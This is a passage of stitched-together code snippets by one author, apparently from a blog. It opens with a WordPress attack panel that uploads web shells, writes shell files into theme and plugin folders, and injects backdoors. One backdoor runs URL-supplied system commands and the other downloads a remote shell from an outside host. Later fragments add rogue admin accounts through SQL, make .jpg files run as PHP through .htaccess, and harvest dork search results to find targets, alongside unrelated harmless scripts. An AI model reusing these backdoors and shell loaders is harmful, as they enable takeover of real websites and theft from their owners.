										@fwrite($themeContent, $wpCont);
										@fclose($themeContent);
										$showForm = false;
										echo '<div class="success">Index updated correctly</div>';
										echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
									endif;
								endif;
								if($showForm):
									$themeContent = @file_get_contents('./wp-content/themes/'.$theme.'/index.php');
							?>
									<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
									<div id="info">Insert New Index Content (WP Actual Theme Index) [fopen]:</div>
									<div id="data">
										<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
										<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
									</div>
							<?php
								endif;
							break;
							case 7:
								$showForm = true;
								if(isset($_POST['upload_shell'])):
									$uploadShell = basename($_FILES['file']['name']);
									if(!move_uploaded_file($_FILES['file']['tmp_name'], $uploadShell)):
										echo '<div class="error">Can\'t Upload Shell</div>';
									else:
										$showForm = false;
										echo '<div class="success">Shell Uploaded Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/'.$uploadShell.'" target="_blank">'.$uploadShell.'</a></div>';
									endif;
								endif;
								if($showForm):
							?>
								<div id="info">Upload Shell To This Path:</div>
								<div id="data">
									<div class="clear"><label>File:</label><input type="file" name="file" style="border: 1px dashed #00CF00;"/>
									<input type="submit" name="upload_shell" value="Upload Shell" style="margin-left: -15px;"/></div>
								</div>
							<?php
								endif;
							break;
							case 8:
								$showForm = true;
								if(isset($_POST['make_shell'])):
									$shellTheme = $_POST['shell_theme'];
									$shellName = $_POST['shell_name'];
									$shellCont = stripslashes($_POST['shell_content']);
									$makeShell = @fopen('./wp-content/themes/'.$shellTheme.'/'.$shellName, 'w+');
									if(!$makeShell):
										echo '<div class="error">Can\'t Make Shell In '.$shellTheme.'</div>';
									else:
										$showForm = false;
										@fwrite($makeShell, $shellCont);
										@fclose($makeShell);
										echo '<div class="success">Shell Maked Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/themes/'.$shellTheme.'/'.$shellName.'" target="_blank">'.$shellName.'</a></div>';
									endif;
								endif;
								if($showForm):
							?>
								<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
								<div id="info">Make Shell To Themes Path [fopen]:</div>
								<div id="data">
									<div class="clear"><label>Theme:</label><select name="shell_theme"><?php echo getThemes(); ?></select>< Select Theme<br /></div>
									<div class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php" />< Insert Shell Name<br /></div>
									<div class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
									<div class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
								</div>
							<?php
								endif;
							break;
							case 9:
								$showForm = true;
								if(isset($_POST['make_shell'])):
									$shellPlugin = $_POST['shell_plugin'];
									$shellName = $_POST['shell_name'];
									$shellCont = stripslashes($_POST['shell_content']);
									$makeShell = @fopen('./wp-content/plugins/'.$shellPlugin.'/'.$shellName, 'w+');
									if(!$makeShell):
										echo '<div class="error">Can\'t Make Shell In '.$shellPlugin.'</div>';
									else:
										$showForm = false;
										@fwrite($makeShell, $shellCont);
										@fclose($makeShell);
										echo '<div class="success">Shell Maked Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/plugins/'.$shellPlugin.'/'.$shellName.'" target="_blank">'.$shellName.'</a></div>';
									endif;
								endif;
								if($showForm):
							?>
								<div id="info" style="margin-bottom: 5px;">Active Plugins (this can be different to Plugins Path):<br /> <?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins')); ?><br /></div>
								<div id="info">Make Shell To Plugins Path [fopen]:</div>
								<div id="data">
									<div class="clear"><label>Plugin:</label><select name="shell_plugin"><?php echo getPlugins(); ?></select>< Select Plugin<br /></div>
									<div class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php" />< Insert Shell Name<br /></div>
									<div class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?></textarea><br /></div>
									<div class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
								</div>
							<?php
								endif;
							break;
							case 10:
								$showForm = true;
								if(isset($_POST['make_backdoor'])):
									$backdoorTheme = $_POST['backdoor_theme'];
									$backdoorType = $_POST['backdoor_type'];
									$realTheme = @file_get_contents('./wp-content/themes/'.$backdoorTheme.'/index.php');
									if(strstr($realTheme, '<?php')):
										$exp = '<?php';
									elseif(strstr($realTheme, '<?')):
										$exp = '<?';
									endif;
									if($backdoorType == '1'):
										$extra = '?active=true&cmd=COMMAND';
										$backdoorCont = 'if(!empty($_GET[\'active\'])){system($_GET[\'cmd\']);exit();}';
									else:
										$extra = '?active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt';
										$backdoorCont = 'if(!empty($_GET[\'active\'])){$fileContent = @file_get_contents($_GET[\'externalfile\']);$file = fopen($_GET[\'filename\'], \'w+\');@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\'.$_GET[\'filename\'].\'">\'.$_GET[\'filename\'].\'</a>\';exit();}';
									endif;
									$explode = explode($exp, $realTheme, 2);
									$newContent = stripslashes($exp.' '.$backdoorCont.' '.$explode[1]);
									$makeBackdoor = @fopen('./wp-content/themes/'.$backdoorTheme.'/index.php', 'w+');
									if(!$makeBackdoor):
										echo '<div class="error">Can\'t Make Backdoor In /wp-content/themes/'.$backdoorTheme.'/index.php</div>';
									else:
										$showForm = false;
										@fwrite($makeBackdoor, $newContent);
										@fclose($makeBackdoor);
										echo '<div class="success">Backdoor Maked Correctly: <br />'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/themes/'.$backdoorTheme.'/index.php'.$extra.'</div>';
									endif;
								endif;
								if($showForm):
							?>
								<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
								<div id="info">Make Shell To Themes Path [fopen]:</div>
								<div id="data">
									<div class="clear"><label>Theme:</label><select name="backdoor_theme"><?php echo getThemes(); ?></select>< Select Theme<br /></div>
									<div class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
									<div class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
								</div>
							<?php
								endif;
							break;
							case 11:
								$showForm = true;
								if(isset($_POST['make_backdoor'])):
									$backdoorPlugin = $_POST['backdoor_plugin'];
									$backdoorType = $_POST['backdoor_type'];
									$realPlugin = @file_get_contents('./wp-content/plugins/'.$backdoorPlugin);
									if(strstr($realPlugin, '<?php')):
										$exp = '<?php';
									elseif(strstr($realPlugin, '<?')):
										$exp = '<?';
									endif;
									if($backdoorType == '1'):
										$extra = '?active=true&cmd=COMMAND';
										$backdoorCont = 'if(!empty($_GET[\'active\'])){system($_GET[\'cmd\']);exit();}';
									else:
										$extra = '?active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt';
										$backdoorCont = 'if(!empty($_GET[\'active\'])){$fileContent = @file_get_contents($_GET[\'externalfile\']);$file = fopen($_GET[\'filename\'], \'w+\');@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\'.$_GET[\'filename\'].\'">\'.$_GET[\'filename\'].\'</a>\';exit();}';
									endif;
									$explode = explode($exp, $realPlugin, 2);
									$newContent = $exp.' '.$backdoorCont.' '.$explode[1];
									$makeBackdoor = @fopen('./wp-content/plugins/'.$backdoorPlugin, 'w+');
									if(!$makeBackdoor):
										echo '<div class="error">Can\'t Make Backdoor In /wp-content/plugins/'.$backdoorPlugin.'</div>';
									else:
										$showForm = false;
										@fwrite($makeBackdoor, $newContent);
										@fclose($makeBackdoor);
										echo '<div class="success">Backdoor Maked Correctly: <br />'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-content/plugins/'.$backdoorPlugin.$extra.'</div>';
									endif;
								endif;
								if($showForm):
							?>
								<div id="info">Make Shell To Plugins Path [fopen]:</div>
								<div id="data">
									<div class="clear"><label>Plugin:</label><select name="backdoor_plugin"><?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins'), true); ?></select>< Select Plugin (Active Plugins)<br /></div>
									<div class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
									<div class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
								</div>
							<?php
								endif;
							break;
							default;
								echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
							?>
						<?php
						endswitch;
						?>
					</div>
				<?php
				endif;
				?>
			</fieldset>
		<?php
		endif;
		?>
	</form>
</div>
<pre style="text-align: center;margin-top: 5px">[email protected] >> http://xt3mp.mx</pre>
</body>
</html>

UPDATE jos_users SET password="passwordHash" WHERE username="adminUser"

<link rel="stylesheet" type="text/css" href="http://xt3mp.mx/css/plugin/style.css" />

<link rel="stylesheet" type="text/css" href="http://xt3mp.mx/css/plugin/style.css?_=2.0" />

<link rel="stylesheet" type="text/css" href="http://xt3mp.mx/css/plugin/style.css?_=<?php echo time(); ?>" />

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Mail Parser V1 - http://xt3mp.mx</title>
<?php
class mailParserv1
{
    var $mails;
    var $realMails;
    var $nonparsedMails;
    var $correctMails;
    var $wrongMails;
    var $domainMails;
 
    public function __construct($mails)
    {
        $this->mails = $mails;
        $this->nonparsedMails = array();
        $this->correctMails = array();
        $this->wrongMails = array();
        $this->domainMails = array();
    }
 
    public function parseMails()
    {
        $eachMail = explode("\r\n", $this->mails);
        foreach($eachMail as $mail)
        {
            if(!empty($mail))
                $this->nonparsedMails[] = strtolower(trim($mail));
        }
    }
 
    public function removeRepeatmails()
    {
        foreach($this->nonparsedMails as $mail)
        {
            if(!in_array($mail, $this->correctMails) && !empty($mail) && !filter_var($mail, FILTER_VALIDATE_EMAIL))
            {
                $this->correctMails[] = $mail;
 
            }
            else
            {
                $this->wrongMails[] = $mail;
            }
        }
        return true;
    }
 
    public function checkMails()
    {
        $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
        if(empty($realMails))
            return false;
        else
            return true;
    }
 
    private function domainMails()
    {
        $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
        foreach($realMails as $mail)
        {
            $eachMail = explode('@', $mail);
            $this->domainMails[$eachMail[1]][] = $mail;
        }
    }
 
    private function makeWrongMailsFile()
    {
        if(!empty($this->wrongMails))
        {
            foreach($this->wrongMails as $mail)
            {
                $wrongMailsc .= $mail."\r\n";
            }
            $file = @fopen('xt3mp_badMailList.txt', 'w+');
            @fwrite($file, $wrongMailsc);
            @fclose($file);
        }
    }
 
    public function checkConfig($list, $result)
    {
        if($list == 'no' && $result == 'no')
            return false;
        else
            return true;
    }
 
    public function splitMails($parts)
    {
        $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
        $totalMails = count($realMails);
        $totalParts = ceil($totalMails / $parts);
        for($i = 1; $i <= $parts; $i++)
        {
            $next = $i * $totalParts;
            $prev = ($i - 1) * $totalParts;
            for($x = $prev; $x < $next; $x++)
            {
                $newMailList .= $realMails[$x]."\r\n";
            }
            $file = @fopen('Xt3mP_mailList_'.$i.'.txt', 'w+');
            if($file)
            {
                @fwrite($file, $newMailList);
                @fclose($file);
                unset($newMailList);
                $status = true;
            }
            else
                $status = false;
        }
        $this->makeWrongMailsFile();
        return $status;
    }
 
    public function printMails($type)
    {
        $this->domainMails();
        if($type == 'all')
        {
            $realMails = (empty($this->nonparsedMails)) ? $this->correctMails : $this->nonparsedMails;
            asort($realMails);
            $textArea = '<textarea rows="10" cols="50" class="result">';
            foreach($realMails as $mail)
            {
                $textArea .= strtolower($mail)."\r\n";
            }
            $textArea .= '</textarea>';
            echo $textArea;
        }
        else
        {
            foreach($this->domainMails as $te => $domain)
            {
                asort($domain);
                $textArea .= '<textarea rows="10" cols="50" class="result">';
                foreach($domain as $mail)
                {
                    $textArea .= strtolower($mail)."\r\n";
                }
                $textArea .= '</textarea>';
            }
            echo $textArea;
        }
        return true;
    }
}
?>
<script src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
<script>
$(function(){
    $("#result").change(function(){
        val = $(this).val();
        if(val == "yes"){
            $(".result").fadeIn("slow");
        }else{
            $(".result").fadeOut("slow");
        }
    })
    $("#list").change(function(){
        val = $(this).val();
        if(val == "yes"){
            $(".list").fadeIn("slow");
        }else{
            $(".list").fadeOut("slow");
        }
    })
})
</script>
<style type="text/css">
body{
    background-color: #2b2b2b;
}
div#container{
    height: auto;
    font-family: arial, 'lucida console', sans-serif;
    font-size: 12px;
    margin: 0 auto;
    text-shadow: 1px 1px 1px #000;
    width: 500px;
}
div#container fieldset{
    background-color: #444;
    border: double #000;
    color: #FFF;
    padding: 5px;
}
div#container legend{
    background-color: #222;
    border: double #000;
    color: #FFF;
    padding: 5px;
}
div#container input, div#container select, div#container textarea{
    background-color: #222;
    border: 1px solid #000;
    color: #FFF;
    padding: 5px;
    width:  74%;
}
div#container input, div#container textarea{width: 72%;}
div#container input[type=submit]{width: 100px;}
div#container input[type=submit]:hover{
    cursor: pointer;
    background-color: #444;
}
div#container textarea.result
{
    width: 98%;
}
div#container label{
    float: left;
    height: 20px;
    text-align: right;
    margin: 6px 1px 0 0;
    width: 25%;
}
div#status .error, div#status .success{
    background-color: #FF7373;
    border: 1px dashed #FF0000;
    margin-top: 5px;
    padding: 5px;
}
div#status .success{
    background-color: #49A349;
    border: 1px dashed #002E00;
}
</style>
</head>
<body>
<div id="container">
    <form action="" method="POST">
        <fieldset>
            <legend>Mail Parser v1.0 | http://xt3mp.mx > [email protected]</legend>
            <label>Remover repetidos:</label><select name="remove"><option value="yes">Sí</option><option value="no">No</option></select>
            <label>Partir:</label><select id="list" name="list"><option value="yes">Sí</option><option value="no">No</option></select>
            <div class="list">
                <label>Núm. de listas:</label><input type="text" name="parts" value="0" size="5" />
            </div>
            <label>Mostrar resultado:</label><select id="result" name="result"><option value="no">No</option><option value="yes">Sí</option></select>
            <div class="result" style="display: none;">
                <label>Formato:</label><select name="format"><option value="all">Todos</option><option value="domain">Por dominio</option></select>
            </div>
            <label>Lista:</label><textarea name="mailList" rows="10" cols="50"></textarea><br />
            <label> </label><input type="submit" name="mailParserv1" value="Parse Mails" />
            <div id="status">
                <?php
                $class = 'error';
                if(isset($_POST['mailParserv1']))
                {
                    $mailParser = new mailParserv1($_POST['mailList']);
                    $mailParser->parseMails();
                    if(!$mailParser->checkConfig($_POST['list'], $_POST['result']))
                    {
                        echo '<div class="'.$class.'">Error: 0x01 > Bad config</div>';
                    }
                    elseif($_POST['remove'] == 'yes' && !$mailParser->removeRepeatmails())
                    {
                        echo '<div class="'.$class.'">Error: 0x02 > Can\'t remove repeated mails</div>';
                    }
                    elseif($_POST['result'] == 'yes' && $_POST['format'] == 'all' && !$mailParser->checkMails())
                    {
                        echo '<div class="'.$class.'">Error: 0x03 > Empty var: correct mails</div>';
                    }
                    elseif($_POST['list'] == 'yes' && ($_POST['parts'] == 0 or !is_numeric($_POST['parts']) or !$mailParser->splitMails($_POST['parts'])))
                    {
                        echo '<div class="'.$class.'">Error: 0x04 > Can\'t make lists</div>';
                    }
                    else{
                        $class = 'success';
                        $next = true;
                        echo '<div class="'.$class.'">Success: 0x01 > Parsed Mails Successful</div>';
                    }
                    if($next)
                    {
                        $class = 'error';
                        if($_POST['result'] == 'yes' && $_POST['format'] == 'all' && !$mailParser->printMails('all'))
                        {
                            echo '<div class="'.$class.'">Error: 0x05 > Can\'t show mails > Format: All</div>';
                        }
                        elseif($_POST['result'] == 'yes'  && $_POST['format'] == 'domain' && !$mailParser->printMails('domains'))
                        {
                            echo '<div class="'.$class.'">Error: 0x05 > Can\'t show mails > Format: Domains</div>';
                        }
                        elseif($_POST['result'] == 'yes')
                        {
                            $class = 'success';
                            echo '<div class="'.$class.'">Success: 0x02 > Mails Showed Successful</div>';
                        }
                    }
                }
                ?>
            </div>
        </legend>
    </form>
</div>
</body>
</html>

include(PS_ADMIN_DIR.'/../config/config.inc.php');

INSERT INTO ps_employee
(id_profile, id_lang, lastname, firstname, email, passwd, last_passwd_gen, stats_date_from, stats_date_to, bo_color, bo_theme, bo_uimode, bo_show_screencast, active)
values
(1, 2, "apellido", "nombre", "correo", "hash", "2012-07-14 00:01:45", "2012-07-14", "2012-07-14", "#000000", "flashyturtle", "click", 0, 1);

$name = trim($name);
$mail = trim($mail);
$id = (int) $id;  // Yes it's stupid how I didn't thought about this :/

$name = trim($name);
$namec = trim($name); #Don't edit this (at: Xt3mP)
$mail = trim($mail);
$id = (int) $id;  // Yes it's stupid how I didn't thought about this :/
$commentc = $comments; #Don't edit this (at: Xt3mP)

//============================
//   Last comments by Xt3mP
//============================
$newComments = @fopen('data/newComments.txt', 'a+');
@fwrite($newComments, $mail.'|'.$namec.'|'.$commentc.'|'.$id.'|'.$time."\r\n");
@fclose($newComments);

<?php
/*
 * Show comments from CuteNews 1.0
 * Author: Xt3mP
 * Author website: http://xt3mp.mx
 * Contact: [email protected]
 * Tested on: CuteNews 1.4.6
 */
//============================
//       Configuration
//============================
#Where do you've installed cutenews?
$basePath = 'http://localhost/projects/works/Habbostorm/noticias/';
#Where do you've the news show file?
$baseFile = 'show_news2.php';
#The show template
    #{url} = News' link
    #{comment} = The comment (oh really?)
    #{name} = The author
    #{date} = Time of the post
$template = '<a href="{url}">{name}</a>:
 {comment} - {date}
';
#How many comments wanna show?
$maxComments = 6;
#How length need to be any comment?
$maxLenght = 10;
#The "hack" comment file {don't edit this}
#============================
#  Process {don't edit this}
#============================
$dataContent = file_get_contents('data/newComments.txt');
$comments = explode("\r\n", $dataContent);
$from = count($comments) - ($maxComments + 1);
$to = count($comments);
$showComments = array();
for($i = $from; $i < $to;  $i++) {   $newTemplate = $template; //Stupid fix?     $comment = explode('|', $comments[$i]);     if(!empty($comment[0]))     {       $newTemplate = str_replace('{url}', 'show_news2.php?subaction=showcomments&template=&id='.$comment[3].'&archive=&start_from=&ucat=', $newTemplate);         if(strlen($comment[2]) > $maxLenght)
            $newTemplate = str_replace('{comment}', htmlentities(substr($comment[2], 0, $maxLenght)).'...', $newTemplate);
        else
            $newTemplate = str_replace('{comment}', htmlentities($comment[2]), $newTemplate);
        $newTemplate = str_replace('{name}',  htmlentities($comment[1]), $newTemplate);
        $newTemplate = str_replace('{date}', date('d M Y h:i a', $comment[4]), $newTemplate);
        $showComments[] = $newTemplate;
    }
}
#Reverse array way
krsort($showComments);
#Print array
foreach($showComments as $comments)
    echo $comments;
?>

<iframe src="show_comments.php" width="200" height"100"></iframe>

$template = '<a href="{url}">{name}</a>:<br /> {comment} - {date}<br />';
$template = '<a href="{url}">{comment}</a>:<br /> {date}<br />';
$template = '<a href="{url}">{name}</a>:<br /> {comment}<br />';
$template = '<div id="comment"><div class="name"><a href="{url}">{name}</a>:</div><div class="comment">{comment}</div></div>';

correo|autor|comentario|id_noticia|timestamp(tiempo)

<?php
/*
* Descargar imagenes externas con PHP y cURL
* Xt3mP
* [email protected]
*/
function descargarImagen($urlImagen, $target, $directorioBase)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlImagen);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $imagen = curl_exec($ch);
    curl_close($ch);
    $archivo = @fopen($directorioBase.$target, 'w');
    if($archivo)
    {
        echo 'La imagen '.basename($urlImagen).' ha sido descargada a '.$directorioBase.$target;
        @fwrite($archivo, $imagen);
        @fclose($archivo);
    }else{
        echo 'La imagen '.basename($urlImagen).' no se ha sido podido descargar';
    }
}
descargarImagen('http://xt3mp.mx/wp-content/themes/Polished/images/logo.png', 'miimagen.png', './galeria/');
?>

<?php /*?><?php
session_start();
if ($_SESSION['k_admin']<>1) {
 
echo '<SCRIPT LANGUAGE="javascript">
location.href = "index.php";
</SCRIPT>';
}
?><?php */?>

RemoveHandler .jpg
AddHandler application/x-httpd-php .jpg
AddType application/x-httpd-php .jpg

function validar() {
var archivo = document.SubirMp3.mp3.value;
extensiones_permitidas = new Array(".mp3", ".wma");
mierror = "";
 
if (!archivo) {
//Si no tengo archivo, es que no se ha seleccionado un archivo en el formulario
mierror = "No has seleccionado ningún archivo";
}else{
//recupero la extensión de este nombre de archivo
extension = (archivo.substring(archivo.lastIndexOf("."))).toLowerCase();
//alert (extension);
//compruebo si la extensión está entre las permitidas
permitida = false;
for (var i = 0; i < extensiones_permitidas.length; i++) {
if (extensiones_permitidas[i] == extension) {
permitida = true;
break;
}
}
if (!permitida) {
mierror = "Compruebe la extensión del archivo de sonido seleccionado. \nSólo se pueden subir archivos con extension: " + extensiones_permitidas.join();
}else{
//submito!
SubirMp3.submit();
return true;
}
}
//si estoy aqui es que no se ha podido submitir
alert (mierror);
return false;
 
}

<form action="http://web/path/path/uploadmp3_.php" method="POST" ENCTYPE="multipart/form-data" onSubmit="return validar()">
<input name="mp3" type="file"><input name="submit" type="submit" value="Enviar"></FORM>

<input class="validar" type="text" name="casilla_1" />
<input class="validar" type="text" name="casilla_2" />

$(function(){
    $(".validar").keydown(function(event){
        if(event.keyCode < 48 || event.keyCode > 57){
            return false;
        }
    });
});

<?php
/*
 * Author: Xt3mP
 * Name: Dorks link grabber
 * Version: 1.0 Bing
 * Contact: xt3mp[at]null[dot]net
 * Website: http://xt3mp.mx | http://backroot.org
 */
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Dorks links Grabber (Bing version) | Xt3mP</title>
<style type="text/css">body{background-color:#2b2b2b;color:#777;font-family:Courier,"Courier New",monospace,sans-serif;font-size:12px}div#container{height:auto;margin:0 auto;width:600px}fieldset{background-color:#222;border:1px dashed #777;float:left;margin:5px;padding:5px;width:100%}legend{background-color:#555;border:1px dashed #777;color:#FFF;font-weight:700;margin:5px;padding:5px}label{float:left;margin-right:5px;padding-top:5px;text-align:right;width:100px}input,select{background-color:#E7E7E7;border:1px dashed #777;float:left;font-family:Courier,"Courier New",monospace,sans-serif;font-size:12px;margin-bottom:5px;padding:3px;width:490px}input[type=submit]{width:600px}h1{margin:0;padding:0}a{color:#CCC;font-weight:700}a:hover{color:#FFF;text-decoration:underline}</style>
</head>
<body>
<?php
set_time_limit(0);
class dorkGrabber
{
	private $bing;
	private $checkfile;
	
	public function __construct()
	{
		$this->bing = 'http://www.bing.com/search?q=';
	}
	
	private function getSource($target)
	{
		$target = @file_get_contents($target);
		return $target;
	}
	
	private function remakeUrl($url)
	{
		$url = explode("/", $url);
		for($z = 0; $z < count($url) - 1; $z++)
		{
			$new .= $url[$z].'/';
		}
		return $new;
	}
	
	private function checkUrl($url)
	{
		if(@fopen($this->remakeUrl($url).$this->checkfile, 'r'))
			return true;
		else
			return false;
	}
	
	private function parseLinks($target)
	{
		$data['rawlinks'] = array();
		$data['correctlinks'] = array();
		$data['badlinks'] = array();
		for($i = 0; $i < 21; $i++)
		{
			$first = ($i == 0) ? 0 : ($i * 10) + 1;
			$source = $this->getSource($target.'&first='.$first);
			$pattern = "/<h3><a href=\"(.*?)\" onmousedown=/";
			$preg = preg_match_all($pattern, $source, $output, PREG_PATTERN_ORDER);
			
			if(count($output[1]) != 0)
			{
				for($x = 0; $x<count($output[1]); $x++)
				{
					if(!in_array($this->remakeUrl($output[1][$x]), $data['correctlinks']))
					{
						if($this->checkUrl($output[1][$x]))
						{
							$data['rawlinks'][] = $output[1][$x];
							$data['correctlinks'][] = $this->remakeUrl($output[1][$x]);
						}else{
							$data['rawlinks'][] = $output[1][$x];
							$data['badlinks'][] = $output[1][$x];
						}
					}
				}
			}else{
				break;
			}
		}
		return $data;
	}
	
	private function getLinks($target)
	{
		$newTarget = $this->getSource($target);
		$check = "/<h1>No se han encontrado resultados para <strong>/";
		if(@preg_match($check, $newTarget))
			return false;
		else
			return $this->parseLinks($target);
	}
	
	private function makeData($type, $links, $output = null)
	{
		switch($type)
		{
			case 'raw':
				$title = '<h1>Raw links</h1>';
				foreach($links['rawlinks'] as $link)
				{
					$linkdir .= $link."\r\n";
				}
				$data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">'.$linkdir.'</textarea>';
			break;
			case 'correct':
				$title = '<h1>Correct links</h1>';
				foreach($links['correctlinks'] as $link)
				{
					$linkdir .= $link."$this->checkfile\r\n";
				}
				$data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">'.$linkdir.'</textarea>';
			break;
			case 'bad':
				$title = '<h1>Bad links</h1>';
				if(empty($links['badlinks']))
				{
					$data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">None</textarea>';
				}else{
					foreach($links['badlinks'] as $link)
					{
						$linkdir .= $link."\r\n";
					}
					$data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">'.$linkdir.'</textarea>';
				}
			break;
			case 'txt':
				$title = '<h1>Output file</h1>';
				foreach($links['correctlinks'] as $link)
				{
					$linkdir .= $link.$this->checkfile;
				}
				$tot = count($links['correctlinks']) + count($links['badlinks']);
				$statistics = '
							[Total links: <b>'.$tot.'</b>]
							[Correct links: <b>'.count($links['correctlinks']).'</b>]
							[Bad links: <b>'.count($links['badlinks']).'</b>]';
				$file = fopen($output, 'w+');
				if($file)
				{
					fwrite($file, $linkdir);
					fclose($file);
					$filedir = $output.' > http:/'.dirname($_SERVER["PHP_SELF"]).'/'.$output;
					$data = $title.'<textarea rows="5" style="width:600px;font-size:11px;margin-bottom:5px;">'.$filedir.'</textarea>';
					$data .= $statistics.' <a href="./'.$output.'" target="_blank">[View output file]</a>';
				}else{
					$data = $title.$statistics.' [Can\'t make output file]';
				}
			break;
		}
		return $data;
	}
	
	public function makeDirective($dork, $output, $checkfile = null)
	{
		$dork = urlencode($dork);
		$target = $this->bing.$dork;
		$this->checkfile = $checkfile;
		$grabber = $this->getLinks($target);
		$result = '<fieldset style="text-align: justify"><legend>Result</legend>';
		if($grabber === false)
		{	
			$result .= 'The DORK (<b>'.urldecode($dork).'</b>) doesn\'t return any results.';
		}else{
			$result .= $this->makeData('raw', $grabber);
			$result .= $this->makeData('correct', $grabber);
			$result .= $this->makeData('bad', $grabber);
			$result .= $this->makeData('txt', $grabber, $output);
		}
		$result .= '</fieldset>';
		return $result;
	}
}
?>
<div id="container">
	<fieldset>
		<legend>Dorks links Grabber (Bing version) | <a href="http://xt3mp.mx" target="_blank">Xt3mP</a></legend>
		<form action="" method="POST">
			<label>Insert DORK:</label><input type="text" name="dork"/><br />
			<label>Search eng.:</label><input type="text" name="engine" value="Bing" disabled="disabled"><br />
			<label>Output file:</label><input type="text" name="output" /><br />
			<label>Check file:</label><input type="text" name="check"/><br />
			<input type="submit" name="get" value="Get Links!" />
		</form>
	</fieldset>
	<?php
	if(isset($_POST['get']))
	{
		if(empty($_POST['dork']) or empty($_POST['output']))
		{
			echo '<script>alert("Some fields are empty!.");</script>';
		}else{
			$mtime = microtime();
			$mtime = explode(' ',$mtime);
			$mtime = $mtime[1] + $mtime[0];
			$starttime = $mtime; 
			$dorkGrabber = new dorkGrabber();
			echo $dorkGrabber->makeDirective($_POST['dork'], $_POST['output'], $_POST['check']);
			$mtime = microtime();
			$mtime = explode(' ',$mtime);
			$mtime = $mtime[1] + $mtime[0];
			$endtime = $mtime;
			$totaltime = ($endtime - $starttime);
			echo 'This page took '.round($totaltime).' seconds to load.'; 
		}
	}
	?>
</div>
</body>
</html>

<ul id="m1">
    <a href="#">Item 1</a>
	<li><a href="#">Item 1</a></li>
	<li><a href="#">Item 2</a></li>
</ul>
<ul id="m2">
	<a href="#">Item 2</a>
	<li><a href="#">Item 1</a></li>
	<li><a href="#">Item 2</a></li>
</ul>

$(function() {
	$('#m1').click(function() {
		$(this).children('li').slideDown('slow');
		$('#m2').children('li').slideUp('slow');
	});
	
	$('#m2').click(function() {
		$(this).children('li').slideDown('slow');
		$('#m1').children('li').slideUp('slow');
	});
});

$(function() {
	$('#m1').click(function() {
		$(this).children('li').toggle('slow');
	});
	
	$('#m2').click(function() {
		$(this).children('li').toggle('slow');
	});
});

$(function() {
	for(i in $('.m1')){
   		$('.m1').eq( i ).click(function(){
      		$(this).children('li').toggle('slow');
   		});
	};
});

$(function() {
	$('.m1').click(function(){
   		$('.m1').children('li').slideUp('slow');
		$(this).children('li').slideDown('slow');
	})
});

@echo off
title  Shutdown Countdown System by Xt3mP
color 0A
:start
mode con cols=51 lines=20
cls
